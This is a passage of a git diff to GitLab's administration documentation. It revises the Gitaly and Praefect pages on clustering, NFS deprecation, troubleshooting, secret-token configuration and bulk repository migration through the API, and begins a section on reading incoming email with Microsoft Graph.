bypassing Gitaly + -GitLab doesn't advise directly accessing Gitaly repositories stored on disk with -a Git client, because Gitaly is being continuously improved and changed. These -improvements may invalidate assumptions, resulting in performance degradation, instability, and even data loss. +In this example: -Gitaly has optimizations, such as the -[`info/refs` advertisement cache](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/design_diskcache.md), -that rely on Gitaly controlling and monitoring access to repositories by using the -official gRPC interface. Likewise, Praefect has optimizations, such as fault -tolerance and distributed reads, that depend on the gRPC interface and -database to determine repository state. +- Each repository is stored on one of three Gitaly storages: `storage-1`, `storage-2`, + or `storage-3`. +- Each storage is serviced by a Gitaly node. +- The three Gitaly nodes store data in three separate hashed storage locations. -For these reasons, **accessing repositories directly is done at your own risk -and is not supported**. +Generally, virtual storage with Gitaly Cluster can replace direct Gitaly storage configurations, at +the expense of additional storage needed to store each repository on multiple Gitaly nodes. The +benefit of using Gitaly Cluster over direct Gitaly storage is: + +- Improved fault tolerance, because each Gitaly node has a copy of every repository. +- Improved resource utilization, reducing the need for over-provisioning for shard-specific peak + loads, because read loads are distributed across replicas. +- Manual rebalancing for performance is not required, because read loads are distributed across + replicas. +- Simpler management, because all Gitaly nodes are identical. + +Under some workloads, CPU and memory requirements may require a large fleet of Gitaly nodes. It +can be uneconomical to have one to one replication factor. + +A hybrid approach can be used in these instances, where each shard is configured as a smaller +cluster. [Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned +to provide greater flexibility for extremely large GitLab instances. + +### Gitaly Cluster compared to Geo + +Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of: + +- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are + not aware when Gitaly Cluster is used. +- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for + an entire instance of GitLab. Users know when they are using Geo for + [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification), + including Git data. + +The following table outlines the major differences between Gitaly Cluster and Geo: + +| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for | +|:---------------|:---------|:----------|:-------------------|:----------------------------------------------------------------|:-----------------------------------------|:------------------------| +| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](praefect.md#automatic-failover-and-leader-election) | [Strong](praefect.md#strong-consistency) | Data storage in Git | +| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance | + +For more information, see: + +- Geo [use cases](../geo/index.md#use-cases). +- Geo [architecture](../geo/index.md#architecture). + +### Architecture + +Praefect is a router and transaction manager for Gitaly, and a required +component for running a Gitaly Cluster. + + + +For more information, see [Gitaly High Availability (HA) Design](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/design_ha.md). + +### Configure Gitaly Cluster + +For more information on configuring Gitaly Cluster, see [Configure Gitaly Cluster](praefect.md). + +## Do not bypass Gitaly + +GitLab doesn't advise directly accessing Gitaly repositories stored on disk with a Git client, +because Gitaly is being continuously improved and changed. These improvements may invalidate +your assumptions, resulting in performance degradation, instability, and even data loss. For example: + +- Gitaly has optimizations such as the [`info/refs` advertisement cache](https://gitlab.com/gitlab-org/gitaly/blob/master/doc/design_diskcache.md), + that rely on Gitaly controlling and monitoring access to repositories by using the official gRPC + interface. +- [Gitaly Cluster](praefect.md) has optimizations, such as fault tolerance and + [distributed reads](praefect.md#distributed-reads), that depend on the gRPC interface and database + to determine repository state. + +WARNING: +Accessing Git repositories directly is done at your own risk and is not supported. ## Direct access to Git in GitLab Direct access to Git uses code in GitLab known as the "Rugged patches". -### History - -Before Gitaly existed, what are now Gitaly clients used to access Git repositories directly, either: +Before Gitaly existed, what are now Gitaly clients accessed Git repositories directly, either: -- On a local disk in the case of a single-machine Omnibus GitLab installation +- On a local disk in the case of a single-machine Omnibus GitLab installation. - Using NFS in the case of a horizontally-scaled GitLab installation. -Besides running plain `git` commands, GitLab used to use a Ruby library called +In addition to running plain `git` commands, GitLab used a Ruby library called [Rugged](https://github.com/libgit2/rugged). Rugged is a wrapper around [libgit2](https://libgit2.org/), a stand-alone implementation of Git in the form of a C library. @@ -81,9 +305,9 @@ not an external process, there was very little overhead between: - GitLab application code that tried to look up data in Git repositories. - The Git implementation itself. -Because the combination of Rugged and Unicorn was so efficient, the GitLab application code ended up with lots of -duplicate Git object lookups. For example, looking up the `master` commit a dozen times in one -request. We could write inefficient code without poor performance. +Because the combination of Rugged and Unicorn was so efficient, the GitLab application code ended up +with lots of duplicate Git object lookups. For example, looking up the default branch commit a dozen +times in one request. We could write inefficient code without poor performance. When we migrated these Git lookups to Gitaly calls, we suddenly had a much higher fixed cost per Git lookup. Even when Gitaly is able to re-use an already-running `git` process (for example, to look up @@ -94,8 +318,8 @@ a commit), you still have: Using GitLab.com to measure, we reduced the number of Gitaly calls per request until the loss of Rugged's efficiency was no longer felt. It also helped that we run Gitaly itself directly on the Git -file severs, rather than by using NFS mounts. This gave us a speed boost that counteracted the negative -effect of not using Rugged anymore. +file servers, rather than by using NFS mounts. This gave us a speed boost that counteracted the +negative effect of not using Rugged anymore. Unfortunately, other deployments of GitLab could not remove NFS like we did on GitLab.com, and they got the worst of both worlds: @@ -154,7 +378,29 @@ There are two facets to our efforts to remove direct Git access in GitLab: NFS. The second facet presents the only real solution. For this, we developed -[Gitaly Cluster](praefect.md). +[Gitaly Cluster](#gitaly-cluster). + +## NFS deprecation notice + +<!-- vale gitlab.FutureTense = NO --> + +From GitLab 14.0, enhancements and bug fixes for NFS for Git repositories will no longer be +considered and customer technical support will be considered out of scope. + +Additional information: + +- [Recommended NFS mount options and known issues with Gitaly and NFS](../nfs.md#upgrade-to-gitaly-cluster-or-disable-caching-if-experiencing-data-loss). +- [GitLab statement of support](https://about.gitlab.com/support/statement-of-support.html#gitaly-and-nfs). + +<!-- vale gitlab.FutureTense = YES --> + +GitLab recommends: + +- Creating a [Gitaly Cluster](#gitaly-cluster) as soon as possible. +- [Moving your repositories](praefect.md#migrate-to-gitaly-cluster) from NFS-based storage to Gitaly + Cluster. + +We welcome your feedback on this process: raise a support ticket, or [comment on the epic](https://gitlab.com/groups/gitlab-org/-/epics/4916). ## Troubleshooting Gitaly @@ -213,6 +459,21 @@ You can run a gRPC trace with: sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check ``` +### Server side gRPC logs + +gRPC tracing can also be enabled in Gitaly itself with the `GODEBUG=http2debug` +environment variable. To set this in an Omnibus GitLab install: + +1. Add the following to your `gitlab.rb` file: + + ```ruby + gitaly['env'] = { + "GODEBUG=http2debug" => "2" + } + ``` + +1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab. + ### Correlating Git processes with RPCs Sometimes you need to find out which Gitaly RPC created a particular Git process. @@ -240,9 +501,9 @@ so, there's not that much visibility into what goes on inside If you have Prometheus set up to scrape your Gitaly process, you can see request rates and error codes for individual RPCs in `gitaly-ruby` by querying `grpc_client_handled_total`. Strictly speaking, this metric does -not differentiate between `gitaly-ruby` and other RPCs, but in practice -(as of GitLab 11.9), all gRPC calls made by Gitaly itself are internal -calls from the main Gitaly process to one of its `gitaly-ruby` sidecars. +not differentiate between `gitaly-ruby` and other RPCs. However from GitLab 11.9, +all gRPC calls made by Gitaly itself are internal calls from the main Gitaly process to one of its +`gitaly-ruby` sidecars. Assuming your `grpc_client_handled_total` counter observes only Gitaly, the following query shows you RPCs are (most likely) internally @@ -349,9 +610,10 @@ update the secrets file on the Gitaly server to match the Gitaly client, then ### Command line tools cannot connect to Gitaly -If you can't connect to a Gitaly server with command line (CLI) tools, -and certain actions result in a `14: Connect Failed` error message, -gRPC cannot reach your Gitaly server. +gRPC cannot reach your Gitaly server if: + +- You can't connect to a Gitaly server with command-line tools. +- Certain actions result in a `14: Connect Failed` error message. Verify you can reach Gitaly by using TCP: @@ -383,16 +645,30 @@ unset http_proxy unset https_proxy ``` -### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly server +### Permission denied errors appearing in Gitaly or Praefect logs when accessing repositories -If this error occurs even though file permissions are correct, it's likely that -the Gitaly server is experiencing -[clock drift](https://en.wikipedia.org/wiki/Clock_drift). +You might see the following in Gitaly and Praefect logs: -Ensure the Gitaly clients and servers are synchronized, and use an NTP time -server to keep them synchronized, if possible. +```shell +{ + ... + "error":"rpc error: code = PermissionDenied desc = permission denied", + "grpc.code":"PermissionDenied", + "grpc.meta.client_name":"gitlab-web", + "grpc.request.fullMethod":"/gitaly.ServerService/ServerInfo", + "level":"warning", + "msg":"finished unary call with code PermissionDenied", + ... +} +``` -### Praefect +This is a GRPC call +[error response code](https://grpc.github.io/grpc/core/md_doc_statuscodes.html). -Praefect is a router and transaction manager for Gitaly, and a required -component for running a Gitaly Cluster. For more information see [Gitaly Cluster](praefect.md). +If this error occurs, even though +[the Gitaly auth tokens are correctly setup](../gitaly/praefect.md#debugging-praefect), +it's likely that the Gitaly servers are experiencing +[clock drift](https://en.wikipedia.org/wiki/Clock_drift). + +Ensure the Gitaly clients and servers are synchronized, and use an NTP time +server to keep them synchronized. diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index 80b5c1bb799..1a8df1cea92 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -5,154 +5,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Gitaly Cluster **(FREE SELF)** +# Configure Gitaly Cluster **(FREE SELF)** -[Gitaly](index.md), the service that provides storage for Git repositories, can -be run in a clustered configuration to increase fault tolerance. In this -configuration, every Git repository is stored on every Gitaly node in the -cluster. Multiple clusters (or storage shards) can be configured. - -NOTE: -Technical support for Gitaly clusters is limited to GitLab Premium and Ultimate -customers. - -Praefect is a router and transaction manager for Gitaly, and a required -component for running a Gitaly Cluster. - - - -Using a Gitaly Cluster increases fault tolerance by: - -- Replicating write operations to warm standby Gitaly nodes. -- Detecting Gitaly node failures. -- Automatically routing Git requests to an available Gitaly node. - -The availability objectives for Gitaly clusters are: - -- **Recovery Point Objective (RPO):** Less than 1 minute. - - Writes are replicated asynchronously. Any writes that have not been replicated - to the newly promoted primary are lost. - - [Strong consistency](#strong-consistency) can be used to avoid loss in some - circumstances. - -- **Recovery Time Objective (RTO):** Less than 10 seconds. - - Outages are detected by a health checks run by each Praefect node every - second. Failover requires ten consecutive failed health checks on each - Praefect node. - - [Faster outage detection](https://gitlab.com/gitlab-org/gitaly/-/issues/2608) - is planned to improve this to less than 1 second. - -Gitaly Cluster supports: - -- [Strong consistency](#strong-consistency) of the secondary replicas. -- [Automatic failover](#automatic-failover-and-leader-election) from the primary to the secondary. -- Reporting of possible data loss if replication queue is non-empty. -- Marking repositories as [read only](#read-only-mode) if data loss is detected to prevent data inconsistencies. - -Follow the [Gitaly Cluster epic](https://gitlab.com/groups/gitlab-org/-/epics/1489) -for improvements including -[horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013). - -## Gitaly Cluster compared to Geo - -Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of: - -- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are - not aware when Gitaly Cluster is used. -- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for - an entire instance of GitLab. Users know when they are using Geo for - [replication](../geo/index.md). Geo [replicates multiple data types](../geo/replication/datatypes.md#limitations-on-replicationverification), - including Git data. - -The following table outlines the major differences between Gitaly Cluster and Geo: - -| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for | -|:---------------|:---------|:----------|:-------------------|:-----------------------------------------------------|:------------------------------|:------------------------| -| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](#automatic-failover-and-leader-election) | [Strong](#strong-consistency) | Data storage in Git | -| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance | - -For more information, see: - -- [Gitaly architecture](index.md#architecture). -- Geo [use cases](../geo/index.md#use-cases) and [architecture](../geo/index.md#architecture). - -## Where Gitaly Cluster fits - -GitLab accesses [repositories](../../user/project/repository/index.md) through the configured -[repository storages](../repository_storage_paths.md). Each new repository is stored on one of the -repository storages based on their configured weights. Each repository storage is either: - -- A Gitaly storage served directly by Gitaly. These map to a directory on the file system of a - Gitaly node. -- A [virtual storage](#virtual-storage-or-direct-gitaly-storage) served by Praefect. A virtual - storage is a cluster of Gitaly storages that appear as a single repository storage. - -Virtual storages are a feature of Gitaly Cluster. They support replicating the repositories to -multiple storages for fault tolerance. Virtual storages can improve performance by distributing -requests across Gitaly nodes. Their distributed nature makes it viable to have a single repository -storage in GitLab to simplify repository management. - -## Components of Gitaly Cluster - -Gitaly Cluster consists of multiple components: - -- [Load balancer](#load-balancer) for distributing requests and providing fault-tolerant access to - Praefect nodes. -- [Praefect](#praefect) nodes for managing the cluster and routing requests to Gitaly nodes. -- [PostgreSQL database](#postgresql) for persisting cluster metadata and [PgBouncer](#pgbouncer), - recommended for pooling Praefect's database connections. -- [Gitaly](index.md) nodes to provide repository storage and Git access. - - - -In this example: - -- Repositories are stored on a virtual storage called `storage-1`. -- Three Gitaly nodes provide `storage-1` access: `gitaly-1`, `gitaly-2`, and `gitaly-3`. -- The three Gitaly nodes store data on their file systems. - -### Virtual storage or direct Gitaly storage - -Gitaly supports multiple models of scaling: - -- Clustering using Gitaly Cluster, where each repository is stored on multiple Gitaly nodes in the - cluster. Read requests are distributed between repository replicas and write requests are - broadcast to repository replicas. GitLab accesses virtual storage. -- Direct access to Gitaly storage using [repository storage paths](../repository_storage_paths.md), - where each repository is stored on the assigned Gitaly node. All requests are routed to this node. - -The following is Gitaly set up to use direct access to Gitaly instead of Gitaly Cluster: - - - -In this example: - -- Each repository is stored on one of three Gitaly storages: `storage-1`, `storage-2`, - or `storage-3`. -- Each storage is serviced by a Gitaly node. -- The three Gitaly nodes store data in three separate hashed storage locations. - -Generally, virtual storage with Gitaly Cluster can replace direct Gitaly storage configurations, at -the expense of additional storage needed to store each repository on multiple Gitaly nodes. The -benefit of using Gitaly Cluster over direct Gitaly storage is: - -- Improved fault tolerance, because each Gitaly node has a copy of every repository. -- Improved resource utilization, reducing the need for over-provisioning for shard-specific peak - loads, because read loads are distributed across replicas. -- Manual rebalancing for performance is not required, because read loads are distributed across - replicas. -- Simpler management, because all Gitaly nodes are identical. - -Under some workloads, CPU and memory requirements may require a large fleet of Gitaly nodes. It -can be uneconomical to have one to one replication factor. - -A hybrid approach can be used in these instances, where each shard is configured as a smaller -cluster. [Variable replication factor](https://gitlab.com/groups/gitlab-org/-/epics/3372) is planned -to provide greater flexibility for extremely large GitLab instances. +In addition to Gitaly Cluster configuration instructions available as part of +[reference architectures](../reference_architectures/index.md) for installations for more than +2000 users, advanced configuration instructions are available below. ## Requirements for configuring a Gitaly Cluster @@ -167,6 +24,10 @@ See the [design document](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/design_ha.md) for implementation details. +NOTE: +If not set in GitLab, feature flags are read as false from the console and Praefect uses their +default value. The default value depends on the GitLab version. + ## Setup Instructions If you [installed](https://about.gitlab.com/install/) GitLab using the Omnibus @@ -204,7 +65,7 @@ You need the IP/host address for each node. If you are using a cloud provider, you can look up the addresses for each server through your cloud provider's management console. -If you are using Google Cloud Platform, SoftLayer, or any other vendor that provides a virtual private cloud (VPC) you can use the private addresses for each cloud instance (corresponds to “internal address” for Google Cloud Platform) for `PRAEFECT_HOST`, `GITALY_HOST_*`, and `GITLAB_HOST`. +If you are using Google Cloud Platform, SoftLayer, or any other vendor that provides a virtual private cloud (VPC) you can use the private addresses for each cloud instance (corresponds to "internal address" for Google Cloud Platform) for `PRAEFECT_HOST`, `GITALY_HOST_*`, and `GITLAB_HOST`. #### Secrets @@ -227,6 +88,9 @@ with secure tokens as you complete the setup process. We note in the instructions below where these secrets are required. +NOTE: +Omnibus GitLab installations can use `gitlab-secrets.json` for `GITLAB_SHELL_SECRET_TOKEN`. + ### PostgreSQL NOTE: @@ -236,10 +100,11 @@ database on the same PostgreSQL server if using of GitLab and should not be replicated. These instructions help set up a single PostgreSQL database, which creates a single point of -failure. For greater fault tolerance, the following options are available: +failure. The following options are available: -- For non-Geo installations, use one of the fault-tolerant - [PostgreSQL setups](../postgresql/index.md). +- For non-Geo installations, either: + - Use one of the documented [PostgreSQL setups](../postgresql/index.md). + - Use your own third-party database setup, if fault tolerance is required. - For Geo instances, either: - Set up a separate [PostgreSQL instance](https://www.postgresql.org/docs/11/high-availability.html). - Use a cloud-managed PostgreSQL service. AWS @@ -458,7 +323,7 @@ application server, or a Gitaly node. WARNING: If you have data on an already existing storage called `default`, you should configure the virtual storage with another name and - [migrate the data to the Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster) + [migrate the data to the Gitaly Cluster storage](#migrate-to-gitaly-cluster) afterwards. Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which is used by @@ -755,14 +620,26 @@ documentation](configure_gitaly.md#configure-gitaly-servers). gitaly['auth_token'] = 'PRAEFECT_INTERNAL_TOKEN' ``` -1. Configure the GitLab Shell `secret_token`, and `internal_api_url` which are - needed for `git push` operations. +1. Configure the GitLab Shell secret token, which is needed for `git push` operations. Either: - If you have already configured [Gitaly on its own server](index.md) + - Method 1: - ```ruby - gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN' + 1. Copy `/etc/gitlab/gitlab-secrets.json` from the Gitaly client to same path on the Gitaly + servers and any other Gitaly clients. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on Gitaly servers. + - Method 2: + + 1. Edit `/etc/gitlab/gitlab.rb`. + 1. Replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret. + + ```ruby + gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN' + ``` + +1. Configure and `internal_api_url`, which is also needed for `git push` operations: + + ```ruby # Configure the gitlab-shell API callback URL. Without this, `git push` will # fail. This can be your front door GitLab URL or an internal load balancer. # Examples: 'https://gitlab.example.com', 'http://1.2.3.4' @@ -838,7 +715,7 @@ addition to the GitLab nodes. Some requests handled by process. `gitaly-ruby` uses the Gitaly address set in the GitLab server's `git_data_dirs` setting to make this connection. -We hope that if you’re managing fault-tolerant systems like GitLab, you have a load balancer +We hope that if you're managing fault-tolerant systems like GitLab, you have a load balancer of choice already. Some examples include [HAProxy](https://www.haproxy.org/) (open-source), [Google Internal Load Balancer](https://cloud.google.com/load-balancing/docs/internal/), [AWS Elastic Load Balancer](https://aws.amazon.com/elasticloadbalancing/), F5 @@ -887,7 +764,7 @@ Particular attention should be shown to: WARNING: If you have existing data stored on the default Gitaly storage, - you should [migrate the data your Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster) + you should [migrate the data your Gitaly Cluster storage](#migrate-to-gitaly-cluster) first. ```ruby @@ -914,15 +791,23 @@ Particular attention should be shown to: }) ``` -1. Configure the `gitlab_shell['secret_token']` so that callbacks from Gitaly - nodes during a `git push` are properly authenticated by editing - `/etc/gitlab/gitlab.rb`: +1. Configure the GitLab Shell secret token so that callbacks from Gitaly nodes during a `git push` + are properly authenticated. Either: - You need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret. + - Method 1: - ```ruby - gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN' - ``` + 1. Copy `/etc/gitlab/gitlab-secrets.json` from the Gitaly client to same path on the Gitaly + servers and any other Gitaly clients. + 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on Gitaly servers. + + - Method 2: + + 1. Edit `/etc/gitlab/gitlab.rb`. + 1. Replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret. + + ```ruby + gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN' + ``` 1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. If Prometheus is enabled on a different node, make edits on that node instead. @@ -1036,6 +921,7 @@ cluster. > - [Made generally available and enabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/2951) in GitLab 13.3. > - [Disabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/3178) in GitLab 13.5. > - [Enabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/3334) in GitLab 13.8. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitaly/-/issues/3383) in GitLab 13.11. Praefect supports distribution of read operations across Gitaly nodes that are configured for the virtual node. @@ -1064,8 +950,10 @@ They reflect configuration defined for this instance of Praefect. > - Introduced in GitLab 13.1 in [alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga), disabled by default. > - Entered [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga) in GitLab 13.2, disabled by default. -> - From GitLab 13.3, disabled unless primary-wins reference transactions strategy is disabled. +> - In GitLab 13.3, disabled unless primary-wins voting strategy is disabled. > - From GitLab 13.4, enabled by default. +> - From GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable strong consistency. +> - From GitLab 13.6, primary-wins voting strategy and `gitaly_reference_transactions_primary_wins` feature flag were removed from the source code. Praefect guarantees eventual consistency by replicating all writes to secondary nodes after the write to the primary Gitaly node has happened. @@ -1077,18 +965,12 @@ information, see the [strong consistency epic](https://gitlab.com/groups/gitlab- To enable strong consistency: -- In GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable - strong consistency. -- In GitLab 13.4 and later, the strong consistency voting strategy has been - improved. Instead of requiring all nodes to agree, only the primary and half - of the secondaries need to agree. This strategy is enabled by default. To - disable it and continue using the primary-wins strategy, enable the - `:gitaly_reference_transactions_primary_wins` feature flag. -- In GitLab 13.3, reference transactions are enabled by default with a - primary-wins strategy. This strategy causes all transactions to succeed for - the primary and thus does not ensure strong consistency. To enable strong - consistency, disable the `:gitaly_reference_transactions_primary_wins` - feature flag. +- In GitLab 13.5, you must use Git v2.28.0 or higher on Gitaly nodes to enable strong consistency. +- In GitLab 13.4 and later, the strong consistency voting strategy has been improved and enabled by default. + Instead of requiring all nodes to agree, only the primary and half of the secondaries need to agree. +- In GitLab 13.3, reference transactions are enabled by default with a primary-wins strategy. + This strategy causes all transactions to succeed for the primary and thus does not ensure strong consistency. + To enable strong consistency, disable the `:gitaly_reference_transactions_primary_wins` feature flag. - In GitLab 13.2, enable the `:gitaly_reference_transactions` feature flag. - In GitLab 13.1, enable the `:gitaly_reference_transactions` and `:gitaly_hooks_rpc` feature flags. @@ -1368,8 +1250,9 @@ affected repositories. Praefect provides tools for: - [Automatic](#automatic-reconciliation) reconciliation, for GitLab 13.4 and later. - [Manual](#manual-reconciliation) reconciliation, for: - GitLab 13.3 and earlier. - - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table. - A migration tool [is planned](https://gitlab.com/gitlab-org/gitaly/-/issues/3033). + - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table. In + GitLab 13.6 and later, [a migration is run](https://gitlab.com/gitlab-org/gitaly/-/issues/3033) + when Praefect starts for these repositories. These tools reconcile the outdated repositories to bring them fully up to date again. @@ -1413,23 +1296,37 @@ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.t - Replace the placeholder `<up-to-date-storage>` with the Gitaly storage name containing up to date repositories. - Replace the placeholder `<outdated-storage>` with the Gitaly storage name containing outdated repositories. -## Migrate existing repositories to Gitaly Cluster +## Migrate to Gitaly Cluster + +To migrate to Gitaly Cluster, existing repositories stored outside Gitaly Cluster must be +moved. There is no automatic migration but the moves can be scheduled with the GitLab API. -If your GitLab instance already has repositories on single Gitaly nodes, these aren't migrated to -Gitaly Cluster automatically. +GitLab repositories can be associated with projects, groups, and snippets. Each of these types +have a separate API to schedule the respective repositories to move. To move all repositories +on a GitLab instance, each of these types must be scheduled to move for each storage. -Project repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md). Note that this API cannot move all repository types. For moving other repositories types, see: +Each repository is made read only when the move is scheduled. The repository is not writable +until the move has completed. -- [Snippet repository storage moves API](../../api/snippet_repository_storage_moves.md). -- [Group repository storage moves API](../../api/group_repository_storage_moves.md). +After creating and configuring Gitaly Cluster: -To move repositories to Gitaly Cluster: +1. Ensure all storages are accessible to the GitLab instance. In this example, these are + `<original_storage_name>` and `<cluster_storage_name>`. +1. [Configure repository storage weights](../repository_storage_paths.md#configure-where-new-repositories-are-stored) + so that the Gitaly Cluster receives all new projects. This stops new projects being created + on existing Gitaly nodes while the migration is in progress. +1. Schedule repository moves for: + - [Projects](#bulk-schedule-projects). + - [Snippets](#bulk-schedule-snippets). + - [Groups](#bulk-schedule-groups). **(PREMIUM SELF)** + +### Bulk schedule projects 1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example: ```shell curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \ - --data '{"source_storage_name":"gitaly","destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves" + --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves" ``` 1. [Query the most recent repository moves](../../api/project_repository_storage_moves.md#retrieve-all-project-repository-storage-moves) @@ -1442,9 +1339,69 @@ To move repositories to Gitaly Cluster: using the API to confirm that all projects have moved. No projects should be returned with `repository_storage` field set to the old storage. -In a similar way, you can move other repository types by using the -[Snippet repository storage moves API](../../api/snippet_repository_storage_moves.md) **(FREE SELF)** -or the [Groups repository storage moves API](../../api/group_repository_storage_moves.md) **(PREMIUM SELF)**. + ```shell + curl --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \ + "https://gitlab.example.com/api/v4/projects?repository_storage=<original_storage_name>" + ``` + + Alternatively use [the rails console](../operations/rails_console.md) to + confirm that all projects have moved. Run the following in the rails console: + + ```ruby + ProjectRepository.for_repository_storage('<original_storage_name>') + ``` + +1. Repeat for each storage as required. + +### Bulk schedule snippets + +1. [Schedule repository storage moves for all snippets on a storage shard](../../api/snippet_repository_storage_moves.md#schedule-repository-storage-moves-for-all-snippets-on-a-storage-shard) using the API. For example: + + ```shell + curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/snippet_repository_storage_moves" + ``` + +1. [Query the most recent repository moves](../../api/snippet_repository_storage_moves.md#retrieve-all-snippet-repository-storage-moves) + using the API. The query indicates either: + - The moves have completed successfully. The `state` field is `finished`. + - The moves are in progress. Re-query the repository move until it completes successfully. + - The moves have failed. Most failures are temporary and are solved by rescheduling the move. + +1. After the moves are complete, use [the rails console](../operations/rails_console.md) to + confirm that all snippets have moved. No snippets should be returned for the original + storage. Run the following in the rails console: + + ```ruby + SnippetRepository.for_repository_storage('<original_storage_name>') + ``` + +1. Repeat for each storage as required. + +### Bulk schedule groups **(PREMIUM SELF)** + +1. [Schedule repository storage moves for all groups on a storage shard](../../api/group_repository_storage_moves.md#schedule-repository-storage-moves-for-all-groups-on-a-storage-shard) using the API. + + ```shell + curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \ + --data '{"source_storage_name":"<original_storage_name>","destination_storage_name":"<cluster_storage_name>"}' "https://gitlab.example.com/api/v4/group_repository_storage_moves" + ``` + +1. [Query the most recent repository moves](../../api/group_repository_storage_moves.md#retrieve-all-group-repository-storage-moves) + using the API. The query indicates either: + - The moves have completed successfully. The `state` field is `finished`. + - The moves are in progress. Re-query the repository move until it completes successfully. + - The moves have failed. Most failures are temporary and are solved by rescheduling the move. + +1. After the moves are complete, use [the rails console](../operations/rails_console.md) to + confirm that all groups have moved. No groups should be returned for the original + storage. Run the following in the rails console: + + ```ruby + GroupWikiRepository.for_repository_storage('<original_storage_name>') + ``` + +1. Repeat for each storage as required. ## Debugging Praefect diff --git a/doc/administration/gitaly/reference.md b/doc/administration/gitaly/reference.md index f08b03017e4..ec5a8d47ae2 100644 --- a/doc/administration/gitaly/reference.md +++ b/doc/administration/gitaly/reference.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Gitaly reference +# Gitaly reference **(FREE SELF)** Gitaly is configured via a [TOML](https://github.com/toml-lang/toml) configuration file. Unlike installations from source, in Omnibus GitLab, you diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md index 2eb5da7d9ab..22cd6ca097c 100644 --- a/doc/administration/incoming_email.md +++ b/doc/administration/incoming_email.md @@ -220,8 +220,11 @@ Example for source installs: incoming_email: enabled: true - # The email address including the `%{key}` placeholder that will be replaced to reference the item being replied to. - # The placeholder can be omitted but if present, it must appear in the "user" part of the address (before the `@`). + # The email address including the %{key} placeholder that will be replaced to reference the + # item being replied to. This %{key} should be included in its entirety within the email + # address and not replaced by another value. + # For example: emailadress+%{key}@gmail.com. + # The placeholder must appear in the "user" part of the address (before the `@`). address: "incoming+%{key}@gitlab.example.com" # Email account username @@ -612,3 +615,59 @@ incoming_email: # Whether the IMAP server uses SSL ssl: true ``` + +#### Microsoft Graph + +> Introduced in [GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/214900). + +GitLab can read incoming email using the Microsoft Graph API instead of +IMAP. Because [Microsoft is deprecating IMAP usage with Basic Authentication](https://techcommunity.microsoft.com/t5/exchange-team-blog/announcing-oauth-2-0-support-for-imap-and-smtp-auth-protocols-in/ba-p/1330432), the Microsoft Graph 